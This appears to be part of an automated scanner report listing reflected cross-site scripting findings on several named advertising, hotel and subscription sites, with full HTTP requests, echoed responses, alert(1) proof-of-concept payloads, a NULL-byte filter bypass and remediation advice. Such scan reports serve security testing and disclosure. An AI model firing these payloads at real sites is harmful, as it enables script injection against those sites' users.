if (typeof(CSP_GLOBAL) != "undefined"){ (function($$) { try { var scriptname = "CSP?csp_request_type=validate&legacy=true&spanId=9669240&t=campaign&audience=Consumer&banner= ...[SNIP]... aign",project:"microsoft",show:"true",url:"c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com/d1.aspx?p6(ct1&cd53i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=4&banner=Button_180x90_Image11f0e<script>alert(1)</script>f6c73b36d2",ElementType:"campaign",ElementAction:"lightbox",extra:"{width: '750', height: '600'}",audience:"Consumer",category:"53",banner:"Button_180x90_Image11f0e<script> ...[SNIP]...
The value of the category request parameter is copied into the HTML document as plain text between tags. The payload c6a42<script>alert(1)</script>bf8f0c0751c was submitted in the category parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=9669240&t=campaign&audience=Consumer&banner=Button_180x90_Image&category=53c6a42<script>alert(1)</script>bf8f0c0751c&i=4&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1103 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
The value of the i request parameter is copied into the HTML document as plain text between tags. The payload c7fa7<script>alert(1)</script>9c0c18ead7 was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=9669240&t=campaign&audience=Consumer&banner=Button_180x90_Image&category=53&i=4c7fa7<script>alert(1)</script>9c0c18ead7&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 1060 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
if (typeof(CSP_GLOBAL) != "undefined"){ (function($$) { try { var scriptname = "CSP?csp_request_type=validate&legacy=true&spanId=9669240&t=campaign&audience=Consumer&banner= ...[SNIP]... bj = {SyndicationType:"campaign",project:"microsoft",show:"true",url:"c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com/d1.aspx?p6(ct1&cd53i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=4c7fa7<script>alert(1)</script>9c0c18ead7&banner=Button_180x90_Image",ElementType:"campaign",ElementAction:"lightbox",extra:"{width: '750', height: '600'}",audience:"Consumer",category:"53",banner:"Button_180x90_Image",domain:"c63445482505619 ...[SNIP]...
The value of the t request parameter is copied into the HTML document as plain text between tags. The payload 4b5d7<script>alert(1)</script>63a20577d7a was submitted in the t parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /CSP?csp_request_type=validate&legacy=true&spanId=9669240&t=campaign4b5d7<script>alert(1)</script>63a20577d7a&audience=Consumer&banner=Button_180x90_Image&category=53&i=4&parentUrl=http%3A//www.cybertronpc.com/ HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: application/javascript; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Content-Length: 676 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the banner request parameter is copied into the HTML document as plain text between tags. The payload e3580<script>alert(1)</script>73b593f2504 was submitted in the banner parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd53i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=4&banner=Button_180x90_Imagee3580<script>alert(1)</script>73b593f2504 HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1862 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:58 GMT Date: Fri, 30 Sep 2011 13:28:58 GMT Connection: close
The value of the i request parameter is copied into the HTML document as plain text between tags. The payload 4b386<script>alert(1)</script>7f5ba6a478e was submitted in the i parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd53i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=44b386<script>alert(1)</script>7f5ba6a478e&banner=Button_180x90_Image HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 2097 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:57 GMT Date: Fri, 30 Sep 2011 13:28:57 GMT Connection: close
(function(collection, instance) { var c = new CspCampaign("Micr_BackToSchool_Res_Cus_Con", "https://12.contentcastsyndication.com/FTP/Campaign/Microsoft/Micr_BackToSchool_Res_Con/en/Bann ...[SNIP]...
2.82. http://c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com/d1.aspx [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 6287f<script>alert(1)</script>1bd61670098 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd53i99&fCampaigns_Local_Audience~1=Consumer!)[]&i=4&banner=Button_180x90_Image&6287f<script>alert(1)</script>1bd61670098=1 HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1977 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:59 GMT Date: Fri, 30 Sep 2011 13:28:59 GMT Connection: close
The value of the p6(ct1&cd53i99&fCampaigns_Local_Audience~1 request parameter is copied into the HTML document as plain text between tags. The payload 111e5<script>alert(1)</script>05fadee4a8c was submitted in the p6(ct1&cd53i99&fCampaigns_Local_Audience~1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /d1.aspx?p6(ct1&cd53i99&fCampaigns_Local_Audience~1=Consumer!)[]111e5<script>alert(1)</script>05fadee4a8c&i=4&banner=Button_180x90_Image HTTP/1.1 Host: c634454825056194218-pmicrosoft-l1-i4.contentcastsyndication.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: */* Referer: http://www.cybertronpc.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Vary: Accept-Encoding Content-Length: 1974 Cache-Control: no-cache Expires: Fri, 30 Sep 2011 13:28:57 GMT Date: Fri, 30 Sep 2011 13:28:57 GMT Connection: close
The value of the d_cb request parameter is copied into the HTML document as plain text between tags. The payload a571b<script>alert(1)</script>71c1322f356 was submitted in the d_cb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 408a2"-alert(1)-"cf91719389d was submitted in the mpck parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 92de9'%3balert(1)//d70de080a38 was submitted in the mpck parameter. This input was echoed as 92de9';alert(1)//d70de080a38 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 81ede'%3balert(1)//4f0b75b5a2b was submitted in the mpvc parameter. This input was echoed as 81ede';alert(1)//4f0b75b5a2b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 825fc"%3balert(1)//be72da98ff was submitted in the mpvc parameter. This input was echoed as 825fc";alert(1)//be72da98ff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 5c269<script>alert(1)</script>61dcaa6cf08 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload 24d43<script>alert(1)</script>7ade89ebd9d was submitted in the csid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
/* * JavaScript include error: * The customer code "F0874724D43<SCRIPT>ALERT(1)</SCRIPT>7ADE89EBD9D" was not recognized. */
2.91. http://link.undertone.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://link.undertone.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 93418"-alert(1)-"e802c81b2e9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 2bdd9<script>alert(1)</script>48bc918d485 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c request parameter is copied into the HTML document as plain text between tags. The payload c8ea0<script>alert(1)</script>260760df9a6 was submitted in the c parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /t/?aid=101450&c=22105064c8ea0<script>alert(1)</script>260760df9a6&sid=5259&tid= HTTP/1.1 Host: oc.cardsynergy.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.creditcardxpo.net/rd/apply.asp?i=633&p=low-interest-credit-cards.asp Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the apiKey request parameter is copied into the HTML document as plain text between tags. The payload 230fe<script>alert(1)</script>9379866d36a was submitted in the apiKey parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the jsonpCallback request parameter is copied into the HTML document as plain text between tags. The payload 762fa<script>alert(1)</script>5cd8169c6c2 was submitted in the jsonpCallback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the jsonpContext request parameter is copied into the HTML document as plain text between tags. The payload 5ae86<script>alert(1)</script>1bf0cef4d4 was submitted in the jsonpContext parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the divID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ad5d6'%3balert(1)//b5e0164d28a was submitted in the divID parameter. This input was echoed as ad5d6';alert(1)//b5e0164d28a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Fri, 30 Sep 2011 13:31:29 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Content-Type: application/x-javascript Cache-Control: no-store Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 18550
function staticButton(objName,divID,buttonName,buttonId,config,state,butHtmlTemplate,server,site,protocol,servlet,windowWidth,windowHeight){this.CHAT=1;this.VOICE=2;this.BUTTON=1;this.CHATBOX=2;this.T ...[SNIP]... ic)=='undefined') {var lpMTagStatic={};} lpMTagStatic.lpStaticBut13173894894325916503340384666189 = new staticButton('lpMTagStatic.lpStaticBut13173894894325916503340384666189','lpButDivID-1287434146578ad5d6';alert(1)//b5e0164d28a','Footer Link',15,{'id':15,'name':"Footer Link",chanel:1,enabled:true,buttonType:3,voiceType:-1,stickyType:1,description:"Link",buttonContent:1,addTextToButton:true,addTextToButtonText:"Our <strong> ...[SNIP]...
The value of the account_code request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 4bb61><script>alert(1)</script>14adf784d1e was submitted in the account_code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the account_code request parameter is copied into the name of an HTML tag attribute. The payload a0794><script>alert(1)</script>f26db594f96 was submitted in the account_code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The value of the account_code request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 44821><script>alert(1)</script>9e90653bce6 was submitted in the account_code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the hotelCode request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7bda"-alert(1)-"f6833bcb8e1 was submitted in the hotelCode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!-- BEGIN: om/block.header_includes.tt --> <meta http-equiv="Keywords" name="Keywords" content=""> <meta http-equiv="De ...[SNIP]... may give each page an identifying name, server, and channel on the next lines. */ s.pageName="RR" s.server="l3phoenixprod1.omnihotels.com" s.channel="Rates & Reservations - RR" s.pageType="" s.prop1="d7bda"-alert(1)-"f6833bcb8e1 ------WebKitFormBoundary4rHzrdN9ZsPm22xG Content-Disposition: form-data; name="StartDate"
The value of the invBlockCode request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5445d"-alert(1)-"98c8ee4044ff4af1f was submitted in the invBlockCode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the invBlockCode request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 69750"%3balert(1)//ee84ec46703 was submitted in the invBlockCode parameter. This input was echoed as 69750";alert(1)//ee84ec46703 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the room_number request parameter is copied into the HTML document as plain text between tags. The payload b05cb<script>alert(1)</script>71e62b26abb was submitted in the room_number parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of the room_qty request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9eeec"-alert(1)-"262ff3a3a492bcefc was submitted in the room_qty parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the room_qty request parameter is copied into the HTML document as plain text between tags. The payload 7d582<script>alert(1)</script>3fc19fa98fe was submitted in the room_qty parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the room_qty request parameter is copied into the HTML document as plain text between tags. The payload 2a678<script>alert(1)</script>be9b3f09265c10983 was submitted in the room_qty parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the room_qty request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 49c6e"%3balert(1)//c7571f12fe3 was submitted in the room_qty parameter. This input was echoed as 49c6e";alert(1)//c7571f12fe3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.109. https://ssl.trails.com/subscribe.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://ssl.trails.com
Path:
/subscribe.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5810f'-alert(1)-'e96cbe5de19 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the oc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dcadf'-alert(1)-'0a12570fd26 was submitted in the oc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.111. http:///AST354880053/direct/01/2448194 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://
Path:
/AST354880053/direct/01/2448194
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31f98"><script>alert(1)</script>2fa9bdd16a9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a7c6'%3bce8cc671eea was submitted in the REST URL parameter 4. This input was echoed as 9a7c6';ce8cc671eea in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the click request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7122a"-alert(1)-"e6ea82a136a was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the click request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 545dc"><script>alert(1)</script>9263998cce4 was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c89e3'-alert(1)-'c0b3990b0f6 was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.116. http:///MED336191486/direct/013055770899 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://
Path:
/MED336191486/direct/013055770899
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 51026"-alert(1)-"74f413ef5d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.117. http:///MED336191486/direct/013055770899 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://
Path:
/MED336191486/direct/013055770899
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8c473'-alert(1)-'8c5ef62237c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
2.118. http:///MED336191486/direct/013055770899 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://
Path:
/MED336191486/direct/013055770899
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a6a4"><script>alert(1)</script>e74f8e0d785 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70411'%3be203aa20692 was submitted in the REST URL parameter 4. This input was echoed as 70411';e203aa20692 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5761b'-alert(1)-'023a0ddd09d was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the click request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 342f6"-alert(1)-"077d478a1ca was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the click request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d674c"><script>alert(1)</script>91b3f2b67de was submitted in the click parameter. This input was echoed unmodified in the application's response.
